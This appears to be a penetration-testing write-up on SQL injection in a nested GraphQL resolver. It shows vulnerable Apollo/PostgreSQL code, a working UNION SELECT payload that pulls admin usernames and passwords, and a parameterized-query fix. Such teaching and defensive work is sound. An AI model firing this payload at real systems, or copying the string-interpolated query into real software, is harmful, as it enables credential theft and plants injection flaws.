While GraphQL has shifted the paradigm of API development, it hasn't eliminated traditional vulnerabilities. In fact, the complexity of resolving nested queries often obscures underlying SQL injection flaws, especially when developers rely on custom resolvers instead of robust ORMs.
The Vulnerability Context
During a recent engagement, I encountered a GraphQL endpoint managing user profiles. The application used Apollo Server and PostgreSQL. While top-level queries were properly parameterized, a specific nested resolver for filtering user activity logs was vulnerable.
const resolvers = {
User: {
activityLogs: async (parent, args, context) => {
// VULNERABLE: Direct string interpolation of the 'filter' argument
const query = `
SELECT * FROM logs
WHERE user_id = ${parent.id}
AND action_type = '${args.filter}'
`;
const result = await db.query(query);
return result.rows;
}
}
};Exploitation Vector
The vulnerability lies in the args.filter parameter. Because GraphQL allows deeply nested queries, we can trigger this resolver while requesting a user's profile. The payload needs to break out of the single quotes and inject a UNION SELECT to extract data from other tables.
query {
user(id: 1) {
name
email
activityLogs(filter: "login' UNION SELECT 1, username, password, 4 FROM admin_users--") {
id
action_type
timestamp
}
}
}This payload successfully extracted the admin credentials, mapping them to the action_type and timestamp fields defined in the GraphQL schema for the ActivityLog.
Remediation
The fix is straightforward: always use parameterized queries or a trusted query builder/ORM, even within nested resolvers.
const resolvers = {
User: {
activityLogs: async (parent, args, context) => {
// SECURE: Using parameterized queries
const query = 'SELECT * FROM logs WHERE user_id = $1 AND action_type = $2';
const values = [parent.id, args.filter];
const result = await db.query(query, values);
return result.rows;
}
}
};